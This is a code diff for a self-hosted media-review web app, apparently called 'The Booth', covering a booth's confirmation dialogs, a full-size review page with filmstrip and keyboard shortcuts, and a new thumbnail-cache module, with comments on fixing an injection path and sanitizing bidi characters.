</article>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<script>
|
||||
/* progressive enhancement: reflect chosen files + drag-drop onto the panel.
|
||||
@@ -162,37 +192,39 @@
|
||||
});
|
||||
})();
|
||||
|
||||
/* Destructive-action confirmation, delegated and DATA-DRIVEN.
|
||||
These were an inline onsubmit calling confirm() with the booth NAME
|
||||
interpolated straight into the JS string literal. Jinja's autoescape is
|
||||
HTML-attribute escaping, not JS-string escaping: the browser decodes the
|
||||
entity back to a quote before the JS parser ever sees it, so a booth name
|
||||
crafted to close that string executed on submit. Booth names are
|
||||
agent-authored — making a folder under the data dir is the whole API — so
|
||||
that is a live path, not a theoretical one.
|
||||
|
||||
The name now travels as a DATA ATTRIBUTE, where escaping is escaping, and
|
||||
never reaches a JS string literal. Same pattern the board controls already
|
||||
use. With JS off the form submits without a prompt, which is what every
|
||||
no-JS browser here already did. */
|
||||
/* Destructive-action confirmation, delegated and DATA-DRIVEN. The booth name
|
||||
travels as a data attribute, where escaping is escaping, and never reaches
|
||||
a JS string literal: a booth name is agent-authored, and an inline handler
|
||||
carrying one was a live injection path. With JS off the form submits
|
||||
without a prompt. */
|
||||
(function () {
|
||||
var WORDS = {
|
||||
release: function (n) {
|
||||
return 'Release \u201c' + n + '\u201d?\n\nIt moves to the ephemeral lane so you '
|
||||
+ 'can wipe it from there. Nothing is deleted by this step.';
|
||||
return 'Release “' + n + '”?\n\nIt rejoins the sweep: it will be wiped '
|
||||
+ '{{ ttl_hours|int }}h after its last activity. Nothing is deleted by this step.';
|
||||
},
|
||||
'wipe-kept': function (n) {
|
||||
return 'WIPE the KEPT booth \u201c' + n + '\u201d?\n\nThis deletes it and its files '
|
||||
return 'WIPE the KEPT booth “' + n + '”?\n\nThis deletes it and its files '
|
||||
+ 'immediately. Kept booths are the ones nothing else will clean up, so nobody '
|
||||
+ 'else is going to do this for you \u2014 and nothing brings it back.';
|
||||
+ 'else is going to do this for you — and nothing brings it back.';
|
||||
},
|
||||
wipe: function (n) { return 'Wipe booth \u201c' + n + '\u201d?'; }
|
||||
wipe: function (n) { return 'Wipe booth “' + n + '”?'; }
|
||||
};
|
||||
/* A word the page does not know still ASKS: fail closed. Keying the
|
||||
prompt on `word &&` meant a typo'd data-confirm submitted unguarded. */
|
||||
var ASK = function (n) { return 'Really do this to “' + n + '”?'; };
|
||||
/* The name as the operator should READ it. Escaping keeps it out of any
|
||||
script, but a bidi override (U+202E) or a newline in an agent-made name
|
||||
still rewrote the dialog's text — what is read before approving a wipe.
|
||||
Controls and bidi formatting show as U+FFFD, visibly, never silently. */
|
||||
function shown(n) {
|
||||
return n.replace(/[\u0000-\u001f\u007f-\u009f\u061c\u200e\u200f\u202a-\u202e\u2066-\u2069]/g, '\ufffd');
|
||||
}
|
||||
document.addEventListener('submit', function (ev) {
|
||||
var form = ev.target.closest ? ev.target.closest('form[data-confirm]') : null;
|
||||
if (!form) return;
|
||||
var word = WORDS[form.getAttribute('data-confirm')];
|
||||
if (word && !confirm(word(form.getAttribute('data-booth') || ''))) ev.preventDefault();
|
||||
var word = WORDS[form.getAttribute('data-confirm')] || ASK;
|
||||
if (!confirm(word(shown(form.getAttribute('data-booth') || '')))) ev.preventDefault();
|
||||
}, true);
|
||||
})();
|
||||
</script>
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
{% extends "base.html" %}
|
||||
{% from "_lifetime.html" import lifetime %}
|
||||
{% block title %}{{ name }} · marks · The Booth{% endblock %}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{% block content %}
|
||||
{# The marks page for a booth whose own index.html is served VERBATIM. That page
|
||||
cannot render the panel inline (it is returned untouched by design), so the
|
||||
@@ -12,12 +13,16 @@
|
||||
{# `marks_open` comes from open_marks() — the ONE openness predicate (INV-2).
|
||||
This used to re-derive it in Jinja as `selectattr('answer', 'none')`, which
|
||||
read a half-answered pick as closed. #}
|
||||
<span class="sub">{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ marks|length }} mark{{ '' if marks|length == 1 else 's' }} · {{ lifetime(kept, hold, expires_in) }}</span>
|
||||
<span class="region-wrap" data-region="booth-status"><span class="sub">{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ marks|length }} mark{{ '' if marks|length == 1 else 's' }} · {{ lifetime(kept, hold, expires_in) }}</span></span>
|
||||
</div>
|
||||
{# One region around both branches, so answering the last mark away swaps in
|
||||
the empty state instead of reading as a structural change. #}
|
||||
<div class="marks-panel" data-region="marks-panel">
|
||||
{% if marks %}
|
||||
{% include "_marks.html" %}
|
||||
{% else %}
|
||||
<div class="empty">This booth has no marks.</div>
|
||||
{% include "_marks.html" %}
|
||||
{% endif %}
|
||||
</div>
|
||||
{% endblock %}
|
||||
|
||||
+254
-73
@@ -1,118 +1,299 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ file }} · {{ name }} · The Booth{% endblock %}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{# THE REVIEW (R2 C6). One media item at full size — image, video or audio —
|
||||
with the judgment on screen beside it, the whole set as a filmstrip below and
|
||||
the tape above. Docs keep doc.html. Everything a mark can change is a
|
||||
`data-region` the in-place script swaps (the rail, the filmstrip, the tape);
|
||||
THE STAGE NEVER IS — swapping it would restart a playing track. #}
|
||||
{% macro num(n) -%}#{{ "%0*d"|format(ord_width, n) }}{%- endmacro %}
|
||||
{% block content %}
|
||||
<div class="viewer">
|
||||
<div class="viewer review">
|
||||
<div class="vbar">
|
||||
<a class="vbtn vx" href="/b/{{ name_url }}/" title="back to gallery (Esc)">✕</a>
|
||||
<span class="vname">{{ file }}</span>
|
||||
<a class="vbtn vx" href="{{ back_url }}" title="back to the grid (Esc)">✕</a>
|
||||
<span class="vname"><span class="ord">{{ num(ordinal) }}</span> {{ file }}</span>
|
||||
<span class="vspacer"></span>
|
||||
<span class="vtoggle" id="vtoggle" style="display:none">
|
||||
<button type="button" class="vseg on" id="btn-fit">Fit</button><button type="button" class="vseg" id="btn-one">1:1</button>
|
||||
{# R3: this item against the next one in the ring, side by side (C). #}
|
||||
{% if compare_url %}<a class="vbtn vcompare" href="{{ compare_url }}" title="compare with the next item (C)"><span aria-hidden="true">⇆</span><span class="vcompare-l"> compare</span></a>{% endif %}
|
||||
{% if kind == 'image' %}
|
||||
{# A JS-only VIEWING convenience (INV-3): hidden until the script shows it,
|
||||
and only ever rendered for a picture. With scripts off the image shows at
|
||||
fit size and no judgment depends on this. #}
|
||||
<span class="vtoggle" id="vtoggle" hidden>
|
||||
<button type="button" class="vseg on" id="btn-fit" aria-pressed="true" title="the whole picture, as large as the stage allows">Fit</button><button type="button" class="vseg" id="btn-one" aria-pressed="false" title="natural pixels — drag to pan a large picture">1:1</button>
|
||||
</span>
|
||||
{% endif %}
|
||||
{# r2b D2b + D2, in the top bar: outside every data-region, so no swap
|
||||
replaces them. The fog form carries `back` and lands on this item. #}
|
||||
<span class="region-wrap" data-region="blur-booth"><form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="post" action="/b/{{ name_url }}/blurbooth">
|
||||
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
|
||||
<input type="hidden" name="back" value="{{ file }}">
|
||||
<button title="{{ 'un-blur the whole booth' if booth_blurred else 'blur every image and video in this booth — cosmetic only' }}">{{ '◉ booth blurred' if booth_blurred else '◌ blur booth' }}</button>
|
||||
</form></span>
|
||||
{% if film | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label">👁 reveal all</span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
<a class="vbtn" href="{{ file_url }}" download title="download {{ file }}">⬇</a>
|
||||
</div>
|
||||
{% if prev_url %}<a class="vnav vprev" href="?f={{ prev_url }}" title="previous (←)" aria-label="previous image">‹</a>{% endif %}
|
||||
{% if next_url %}<a class="vnav vnext" href="?f={{ next_url }}" title="next (→)" aria-label="next image">›</a>{% endif %}
|
||||
<div class="vstage fit" id="vstage"><img id="vimg" src="{{ file_url }}" alt="{{ file }}"></div>
|
||||
{# THE ANNOTATION, at full size. It was never rendered here before U1 — not
|
||||
because the template dropped it, but because the route never resolved it.
|
||||
A caption is most useful at the size where you are actually judging the
|
||||
thing, so it belongs here at least as much as in the grid. #}
|
||||
|
||||
{# THE TAPE (B's device): one segment per item in the review ring — seen,
|
||||
flagged, current — so how far through the set you are is always in view. #}
|
||||
<div class="tape" data-region="tape" aria-label="{{ seen_n }} of {{ ring_m }} seen">
|
||||
<div class="tape-segs">
|
||||
{% for x in film %}
|
||||
<a class="tape-s{% if x.current %} is-current{% elif x.flagged %} is-flagged{% elif x.seen %} is-seen{% endif %}"
|
||||
href="?f={{ x.url }}" title="{{ num(x.ordinal) }} {{ x.name }}"></a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
<span class="tape-count">{{ seen_n }} of {{ ring_m }} seen</span>
|
||||
</div>
|
||||
|
||||
<div class="review-body">
|
||||
{% if prev_url %}<a class="vnav vprev" href="?f={{ prev_url }}" title="previous (←)" aria-label="previous">‹</a>{% endif %}
|
||||
<div class="vstage{% if kind == 'image' %} is-img{% endif %}{% if blurred %} is-blurred{% endif %}" id="vstage">
|
||||
{% if kind == 'image' %}<img id="vimg" src="{{ file_url }}" alt="{{ file }}" draggable="false">
|
||||
{% elif kind == 'video' %}<video id="vmedia" controls preload="metadata" src="{{ file_url }}"></video>
|
||||
{% else %}<audio id="vmedia" controls preload="metadata" src="{{ file_url }}"></audio>
|
||||
{% endif %}
|
||||
</div>
|
||||
{# The stage's reveal sits OVER the stage, outside its scrolled content
|
||||
(r2c): in 1:1 a panned picture would otherwise carry it out of view, and
|
||||
outside the stage it can never start a pan. #}
|
||||
{# JS-only, so `hidden` until the script binds it (heid bug-hunt: shown with
|
||||
scripts off, it did nothing) — the toggle's own pattern. #}
|
||||
{% if blurred %}<button type="button" class="reveal" id="vreveal" aria-label="reveal {{ file }}" hidden>👁 reveal — blur is cosmetic</button>{% endif %}
|
||||
{% if next_url %}<a class="vnav vnext" href="?f={{ next_url }}" title="next (→)" aria-label="next">›</a>{% endif %}
|
||||
|
||||
<aside class="vrail" id="rail" data-region="rail" aria-label="your judgment">
|
||||
<div class="vr-sec">
|
||||
<div class="vr-where"><span class="ord">{{ num(ordinal) }}</span> · {{ ring_k }} of {{ ring_m }}
|
||||
{%- if group %} · {{ group.k }} of {{ group.n }} in {{ group.key }}{% endif %}</div>
|
||||
{# THE ANNOTATION, at full size — the size where it is most readable. #}
|
||||
{% if caption %}<div class="vcap">{{ caption }}</div>{% endif %}
|
||||
{# INV-3: the JUDGMENT travels to full size too, not just the caption. This is
|
||||
the size at which the operator is actually deciding, so the flag toggle and
|
||||
the notes belong here at least as much as on the tile. #}
|
||||
<div class="vmarks">
|
||||
<form class="vflag" method="post" action="/b/{{ name_url }}/flag">
|
||||
</div>
|
||||
|
||||
<div class="vr-sec vr-judge">
|
||||
<form class="vflag" method="post" action="/b/{{ name_url }}/flag" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ file }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if flagged else '1' }}">
|
||||
<button class="vbtn{% if flagged %} is-flagged{% endif %}"
|
||||
title="{{ 'un-flag this item' if flagged else 'flag this one' }}"
|
||||
>{{ '✔ flagged' if flagged else '○ flag' }}</button>
|
||||
<input type="hidden" name="back" value="view">
|
||||
<input type="hidden" name="f" value="{{ file }}">
|
||||
<button class="vbtn vflag-btn{% if flagged %} is-flagged{% endif %}" id="vflag-btn"
|
||||
title="{{ 'un-flag this item' if flagged else 'flag this one' }} (F)"
|
||||
>{{ '✔ flagged' if flagged else '○ flag' }} <kbd>F</kbd></button>
|
||||
</form>
|
||||
{% for m in marks if m.shape == 'note' %}
|
||||
<div class="vnote"><pre>{{ m.text }}</pre>
|
||||
<form method="post" action="/b/{{ name_url }}/unmark">
|
||||
<form method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ m.id }}">
|
||||
<input type="hidden" name="back" value="view">
|
||||
<input type="hidden" name="f" value="{{ file }}">
|
||||
<button class="mark-x" title="withdraw this note">×</button>
|
||||
</form>
|
||||
</div>
|
||||
{% endfor %}
|
||||
<form class="vaddnote" method="post" action="/b/{{ name_url }}/note">
|
||||
<form class="vaddnote" method="post" action="/b/{{ name_url }}/note" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ file }}">
|
||||
<textarea name="text" rows="2" placeholder="a note on this item"></textarea>
|
||||
<input type="hidden" name="back" value="view">
|
||||
<input type="hidden" name="f" value="{{ file }}">
|
||||
<textarea name="text" id="vnote-text" rows="2" placeholder="a note on this item (N)"></textarea>
|
||||
<button type="submit">Add note</button>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
{# A question ABOUT this item is answerable here. #}
|
||||
{% if item_picks %}
|
||||
<div class="vr-sec">
|
||||
{% with marks=item_picks, picks_only=true, back_view=file, marks_page=false %}{% include "_marks.html" %}{% endwith %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
{% if is_last %}
|
||||
{# THE END OF THE SET — not a separate page: on the last item the rail
|
||||
adds the summary and every question still open on the booth. #}
|
||||
<div class="vr-sec vr-end">
|
||||
<p class="vr-end-head">End of the set · {{ seen_n }} of {{ ring_m }} seen · {{ tray|length }} flagged</p>
|
||||
{% if tray %}
|
||||
<div class="tray">
|
||||
{% for x in tray %}
|
||||
<a class="tray-item{% if x.blurred %} is-blurred{% endif %}" href="?f={{ x.url }}" title="{{ x.name }}">
|
||||
{%- if x.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ x.thumb or x.url }}" alt="">{% else %}<span class="tray-kind">{{ x.kind }}</span>{% endif -%}
|
||||
<span class="tray-ord">{{ num(x.ordinal) }}</span></a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
{% if other_picks %}
|
||||
{% with marks=other_picks, picks_only=true, back_view=file, marks_page=false %}{% include "_marks.html" %}{% endwith %}
|
||||
{% endif %}
|
||||
</div>
|
||||
{% elif other_picks %}
|
||||
<div class="vr-sec vr-more">
|
||||
<a href="/b/{{ name_url }}/">{{ other_picks|length }} more open question{{ '' if other_picks|length == 1 else 's' }} on this booth →</a>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<div class="vr-keys"><kbd>←</kbd> <kbd>→</kbd> <kbd>Space</kbd> move · <kbd>F</kbd> flag · <kbd>N</kbd> note · <kbd>C</kbd> compare · <kbd>Esc</kbd> grid</div>
|
||||
</aside>
|
||||
</div>
|
||||
|
||||
{# THE FILMSTRIP: the review ring in set order, numbered like the tiles,
|
||||
flagged frames underlined, the current one in the reticle. #}
|
||||
<nav class="film" data-region="film" aria-label="the set">
|
||||
{% for x in film %}
|
||||
<a class="film-f{% if x.flagged %} is-flagged{% endif %}{% if x.current %} is-current{% endif %}{% if x.blurred %} is-blurred{% endif %}"
|
||||
href="?f={{ x.url }}" title="{{ x.name }}"{% if x.current %} aria-current="true"{% endif %}>
|
||||
{%- if x.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ x.thumb or x.url }}" alt="">{% else %}<span class="film-kind">{{ '♪' if x.kind == 'audio' else '▶' }}</span>{% endif -%}
|
||||
<span class="film-ord">{{ num(x.ordinal) }}</span></a>
|
||||
{% endfor %}
|
||||
</nav>
|
||||
</div>
|
||||
<style>
|
||||
.vnav{position:fixed;top:50%;transform:translateY(-50%);z-index:40;display:flex;
|
||||
align-items:center;justify-content:center;width:2.6rem;height:3.4rem;font-size:2rem;
|
||||
line-height:1;text-decoration:none;color:var(--fg-1);background:rgba(20,23,32,.55);
|
||||
border:1px solid rgba(255,255,255,.10);border-radius:10px;margin:0 .5rem;user-select:none;
|
||||
-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);transition:background .15s,border-color .15s}
|
||||
.vnav:hover{background:rgba(28,33,46,.92);border-color:var(--aus-bright-cyan,#42dcd1)}
|
||||
.vnav{position:absolute;top:50%;transform:translateY(-50%);z-index:4;display:flex;
|
||||
align-items:center;justify-content:center;width:40px;height:56px;font-size:28px;
|
||||
line-height:1;text-decoration:none;color:oklch(0.91 0.008 216);background:oklch(0.17 0.01 250 / .6);
|
||||
border:1px solid rgb(255 255 255 / .12);border-radius:var(--radius-lg);margin:0 8px;user-select:none;
|
||||
-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);
|
||||
transition:background var(--dur-1) var(--ease-out),border-color var(--dur-1) var(--ease-out)}
|
||||
.vnav:hover{background:oklch(0.21 0.01 248 / .92);border-color:rgb(255 255 255 / .3);text-decoration:none;
|
||||
color:oklch(0.91 0.008 216)}
|
||||
/* The next arrow clears the 360px verdict rail only while the rail sits
|
||||
beside the stage. Scoped to the wide layout: stated bare, this rule came
|
||||
later in the page than base.html's narrow override and silently won it,
|
||||
parking the arrow 360px in from the edge of a phone. */
|
||||
.vprev{left:0}.vnext{right:0}
|
||||
/* Bottom bar rather than the top chrome: a caption can run to CAPTION_MAX
|
||||
(800 chars), which would shove the filename and the Fit/1:1 toggle around. */
|
||||
.vcap{flex:0 0 auto;max-height:22vh;overflow-y:auto;padding:.6rem clamp(12px,3vw,20px);
|
||||
font-size:.85rem;line-height:1.5;color:var(--fg-1);background:var(--rk-surface,rgba(20,23,32,.92));
|
||||
border-top:1px solid rgba(255,255,255,.10);white-space:pre-wrap}
|
||||
@media print{.vcap{max-height:none;overflow:visible}}
|
||||
@media print{.vnav{display:none}}
|
||||
@media (min-width:901px){.vnext{right:360px}}
|
||||
/* Stacked (<=900px) the stage is the body's first 60vh, so its centre is 30vh
|
||||
down: the arrows' spot before the script places them (JS off, loading,
|
||||
failed), never over the rail below (heid code-review). HERE, after .vnav:
|
||||
in base.html this page's own later rule silently won it (the Nyx trap). */
|
||||
@media (max-width:900px){.vnav{top:30vh}}
|
||||
.vcap{margin-top:10px;max-height:30vh;overflow-y:auto;font-size:var(--size-sm);line-height:var(--leading-body);
|
||||
color:var(--text-body);white-space:pre-wrap}
|
||||
@media print{.vcap{max-height:none;overflow:visible}.vnav{display:none}}
|
||||
</style>
|
||||
{% include "_stage_js.html" %}
|
||||
<script>
|
||||
(function () {
|
||||
var img = document.getElementById('vimg');
|
||||
var stage = document.getElementById('vstage');
|
||||
var toggle = document.getElementById('vtoggle');
|
||||
var bFit = document.getElementById('btn-fit');
|
||||
var bOne = document.getElementById('btn-one');
|
||||
var BACK = {{ ('/b/' ~ name_url ~ '/')|tojson }};
|
||||
var BACK = {{ back_url|tojson }};
|
||||
var PREV = {{ (('?f=' ~ prev_url) if prev_url else '')|tojson }};
|
||||
var NEXT = {{ (('?f=' ~ next_url) if next_url else '')|tojson }};
|
||||
var COMPARE = {{ compare_url|tojson }};
|
||||
|
||||
function setMode(mode) {
|
||||
var fit = mode === 'fit';
|
||||
stage.classList.toggle('fit', fit);
|
||||
stage.classList.toggle('one', !fit);
|
||||
bFit.classList.toggle('on', fit);
|
||||
bOne.classList.toggle('on', !fit);
|
||||
}
|
||||
// "fits" == the image at natural size already sits inside the stage, so Fit
|
||||
// and 1:1 would render identically — in that case we hide the toggle entirely.
|
||||
function fits() {
|
||||
return img.naturalWidth <= stage.clientWidth && img.naturalHeight <= stage.clientHeight;
|
||||
}
|
||||
function evaluate() {
|
||||
if (!img.naturalWidth) return;
|
||||
if (fits()) {
|
||||
toggle.style.display = 'none';
|
||||
setMode('fit');
|
||||
} else {
|
||||
toggle.style.display = 'inline-flex';
|
||||
if (!stage.classList.contains('one')) setMode('fit');
|
||||
}
|
||||
}
|
||||
bFit.addEventListener('click', function () { setMode('fit'); });
|
||||
bOne.addEventListener('click', function () { setMode('one'); });
|
||||
img.addEventListener('load', evaluate);
|
||||
window.addEventListener('resize', evaluate);
|
||||
if (img.complete) evaluate();
|
||||
/* THE STAGE (r2c). The mode is ONE class on <html>, `stage-one` (absent =
|
||||
Fit), set by the head script before the stage existed. The shared
|
||||
machinery binds the toggle and pans a 1:1 picture; this page places the
|
||||
arrows at the drawn picture. */
|
||||
var stage = document.getElementById('vstage');
|
||||
var img = document.getElementById('vimg');
|
||||
var video = stage.querySelector('video');
|
||||
var rbody = stage.parentElement; /* .review-body */
|
||||
var prevA = rbody.querySelector('.vnav.vprev'), nextA = rbody.querySelector('.vnav.vnext');
|
||||
|
||||
/* An arrow key inside the note field is a CARET move, not a navigation.
|
||||
The handler is on `document` and the note textarea shipped into this same
|
||||
page, so typing a note and reaching for ← threw the draft away; Escape
|
||||
did it in one keystroke. Anything editable keeps its own keys. */
|
||||
/* The DRAWN picture's left and right edges, in viewport px, or null until
|
||||
they are known (still loading, or failed): the arrows then keep their CSS
|
||||
spot. The object-fit: contain box — which in 1:1 (scale 1) IS the
|
||||
picture's own box; where it runs past the stage, the clamp in place()
|
||||
keeps the arrows inside. */
|
||||
function drawn() {
|
||||
if (img) {
|
||||
if (!img.naturalWidth) return null;
|
||||
var b = img.getBoundingClientRect();
|
||||
var k = Math.min(b.width / img.naturalWidth, b.height / img.naturalHeight), w = img.naturalWidth * k;
|
||||
return {l: b.left + (b.width - w) / 2, r: b.left + (b.width + w) / 2};
|
||||
}
|
||||
if (video && video.videoWidth) {
|
||||
var v = video.getBoundingClientRect();
|
||||
return {l: v.left, r: v.right};
|
||||
}
|
||||
return null;
|
||||
}
|
||||
/* Each arrow wholly outside the drawn edge, its near edge 8px away, clamped
|
||||
8px inside the stage — so over the picture only when the picture spans
|
||||
the stage (operator: "unless the image spans the entire width"). */
|
||||
function place() {
|
||||
var p = drawn();
|
||||
if (!p) {
|
||||
/* unknown (loading, failed): back to the CSS spot, never a stale one */
|
||||
[prevA, nextA].forEach(function (a) {
|
||||
if (a) { a.classList.remove('is-placed'); a.style.left = ''; a.style.top = ''; }
|
||||
});
|
||||
return;
|
||||
}
|
||||
var s = stage.getBoundingClientRect(), o = rbody.getBoundingClientRect();
|
||||
/* the stage's CLIENT box: a classic scrollbar is not stage an arrow may
|
||||
sit on (heid bug-hunt, groa — the border box put the next arrow under it) */
|
||||
var cl = s.left + stage.clientLeft, cr = cl + stage.clientWidth;
|
||||
[[prevA, -1], [nextA, 1]].forEach(function (pair) {
|
||||
var a = pair[0];
|
||||
if (!a) return;
|
||||
var w = a.offsetWidth, lo = cl + 8, hi = cr - 8 - w;
|
||||
var x = pair[1] < 0 ? p.l - 8 - w : p.r + 8;
|
||||
x = Math.max(lo, Math.min(hi, x));
|
||||
a.classList.add('is-placed');
|
||||
a.style.left = (x - o.left) + 'px';
|
||||
a.style.top = (s.top - o.top + s.height / 2) + 'px';
|
||||
});
|
||||
}
|
||||
/* The stage's own machinery — Fit/1:1, pannable, drag-to-pan — is the
|
||||
shared include (_stage_js.html, r3 C4); the arrows stay this page's. */
|
||||
var st = BoothStage.attach(stage, {img: img, onSettle: place});
|
||||
var settle = st.settle;
|
||||
if (img) BoothMode.bind({
|
||||
toggle: document.getElementById('vtoggle'),
|
||||
fit: document.getElementById('btn-fit'),
|
||||
one: document.getElementById('btn-one'),
|
||||
onChange: settle
|
||||
});
|
||||
if (video) video.addEventListener('loadedmetadata', settle);
|
||||
if (window.ResizeObserver) new ResizeObserver(settle).observe(stage);
|
||||
else window.addEventListener('resize', settle);
|
||||
|
||||
/* Keep the current frame in view on the filmstrip — on load, and after an
|
||||
in-place save swaps the strip for a fresh one. Additive: without it the
|
||||
strip is still a row of links. */
|
||||
function centreFilm() {
|
||||
var cur = document.querySelector('.film-f.is-current');
|
||||
var film = document.querySelector('.film');
|
||||
if (cur && film) film.scrollLeft = cur.offsetLeft - (film.clientWidth - cur.offsetWidth) / 2;
|
||||
}
|
||||
centreFilm();
|
||||
document.addEventListener('booth:swapped', centreFilm);
|
||||
|
||||
/* Blur reveal on the stage — per-viewer, never persisted. Cosmetic, and
|
||||
the button says so. */
|
||||
var rv = document.getElementById('vreveal');
|
||||
if (rv) rv.hidden = false;
|
||||
if (rv) rv.addEventListener('click', function () {
|
||||
var on = document.getElementById('vstage').classList.toggle('revealed');
|
||||
rv.textContent = on ? '🙈 hide' : '👁 reveal — blur is cosmetic';
|
||||
});
|
||||
|
||||
/* EVERY key here, new and old, is ignored while focus is in something
|
||||
editable: an arrow key in the note field is a caret move, and F typed
|
||||
into a note is a letter, not a flag. */
|
||||
function isEditable(el) {
|
||||
return !!(el && (el.isContentEditable ||
|
||||
/^(input|textarea|select)$/i.test(el.tagName || '')));
|
||||
}
|
||||
document.addEventListener('keydown', function (e) {
|
||||
if (isEditable(e.target)) return;
|
||||
if (e.metaKey || e.ctrlKey || e.altKey) return;
|
||||
/* Space moves only when the stage is not a player that wants it. */
|
||||
var player = document.getElementById('vmedia');
|
||||
if (e.key === 'Escape') window.location.href = BACK;
|
||||
else if (e.key === 'ArrowLeft' && PREV) window.location.href = PREV;
|
||||
else if (e.key === 'ArrowRight' && NEXT) window.location.href = NEXT;
|
||||
/* ...and never from a focused control: Space is how a keyboard presses a
|
||||
button or follows a link (r2b, heid bug-hunt — Reveal all and the fog
|
||||
control could not be pressed). */
|
||||
else if (e.key === ' ' && NEXT && e.target !== player && !(e.target.closest && e.target.closest('button, a, summary'))) { e.preventDefault(); window.location.href = e.shiftKey && PREV ? PREV : NEXT; }
|
||||
else if (e.key === 'f' || e.key === 'F') {
|
||||
var b = document.getElementById('vflag-btn'); /* re-read: the rail may have been swapped */
|
||||
if (b) { e.preventDefault(); b.click(); }
|
||||
}
|
||||
else if ((e.key === 'c' || e.key === 'C') && COMPARE) { e.preventDefault(); window.location.href = COMPARE; }
|
||||
else if (e.key === 'n' || e.key === 'N') {
|
||||
var t = document.getElementById('vnote-text');
|
||||
if (t) { e.preventDefault(); t.focus(); }
|
||||
}
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
|
||||
+206
@@ -0,0 +1,206 @@
|
||||
"""Derived thumbnails, cached inside the booth.
|
||||
|
||||
MEASURED, not assumed. ROADMAP parked progressive loading on "the largest
|
||||
gallery is 66 images; at that size a lazy grid is almost certainly fine" — which
|
||||
counted IMAGES and never weighed BYTES. The live set on 2026-09-23:
|
||||
|
||||
sindra-corpus-v1 66 images 77.5 MB 1024x1024 each
|
||||
sindra-sfw-pool 59 images 71.7 MB
|
||||
sindra 30 images 61.6 MB 2.1 MB average
|
||||
|
||||
A tile renders a few hundred px wide, so the gallery shipped roughly 16x the pixels
|
||||
that reach the screen and 77 MB on one page load. 66 is a fine count sitting on
|
||||
a terrible payload; the operator found it in about a minute of using the Desk.
|
||||
|
||||
The cache lives at `<booth>/.thumbs/<rel>.<rule>.webp` (see `thumb_path`),
|
||||
inside the booth on purpose, so it is swept with the booth and never outlives
|
||||
what it describes. And because it is inside the booth, where any fleet session
|
||||
can write, every entry on the way to it may be planted: the cache directories,
|
||||
the cache file and the temp file are each checked or created so that a link,
|
||||
a directory or a planted file cannot redirect a write or pose as a thumbnail. Both
|
||||
`booth_items` and `zip_booth` skip every dot-prefixed path COMPONENT, which they
|
||||
did not do until this module needed them to.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import stat
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
try: # optional: absence degrades to full-size images, never to a broken page
|
||||
from PIL import Image as _Image
|
||||
from PIL import ImageOps as _ImageOps
|
||||
except ImportError: # pragma: no cover
|
||||
_Image = None
|
||||
_ImageOps = None
|
||||
|
||||
THUMB_DIR = ".thumbs"
|
||||
# SIZED FOR THE TILE'S WIDTH, AT 2x DENSITY. A gallery tile is sized by its
|
||||
# width (the image is `width:100%; height:auto`), and on the desktop grid (3
|
||||
# columns, 1440px viewports and up) it measures 321-361 CSS px, so 768 covers
|
||||
# the widest one on a 2x screen. This used to be 512 on the LONGEST side, which
|
||||
# the comment called "comfortably above any tile size", and it was, for a square.
|
||||
# A 704x1408 portrait got 256px of width for a 361px tile: 1.4x stretched at 1x,
|
||||
# 2.8x on a 2x screen, and the operator saw it as "blurry until selected".
|
||||
# Narrower windows reflow to 2 columns (up to 472px) or 1 (up to 650px) and are
|
||||
# softer than this covers at 2x. tests/test_thumbs_browser.py holds this number
|
||||
# against the rendered grid, so a wider tile turns it red instead of soft.
|
||||
THUMB_WIDTH = 768
|
||||
# Width alone would let a long screenshot through at full height.
|
||||
THUMB_HEIGHT_MAX = 4096
|
||||
# An original that already fits the bounds is served as-is only when it is also
|
||||
# LIGHT: fitting a tile in pixels is not being cheap in bytes, and a 704x1408
|
||||
# PNG is about a megabyte. Measured on the 381 live images, 2026-09-23: 768-wide
|
||||
# thumbnails average 39 KB, so anything at or under 64 KB has nothing to save.
|
||||
THUMB_LIGHT_BYTES = 64 * 1024
|
||||
THUMB_QUALITY = 78
|
||||
# A header is free to read and claims any size it likes; `thumbnail()` then
|
||||
# decodes it, on every request, because a failure is not cached. Past this the
|
||||
# original is served and nothing is decoded. 64 MP is 8K x 8K, far past any
|
||||
# image a booth has held.
|
||||
THUMB_MAX_PIXELS = 64_000_000
|
||||
# Bump when the ENCODING changes in a way the numbers above do not show (a mode
|
||||
# conversion, an orientation rule), so every cached thumbnail is rebuilt.
|
||||
THUMB_VERSION = 2
|
||||
|
||||
# What Pillow can open from a plain install. SVG is vector (Pillow cannot read
|
||||
# it, and it is already small); AVIF needs a plugin we do not require.
|
||||
THUMBABLE = {".png", ".jpg", ".jpeg", ".webp", ".gif", ".bmp"}
|
||||
|
||||
|
||||
def thumb_path(booth: Path, rel: str) -> Path:
|
||||
"""Where `rel`'s thumbnail lives. Mirrors the tree so two files with the
|
||||
same basename in different folders cannot collide.
|
||||
|
||||
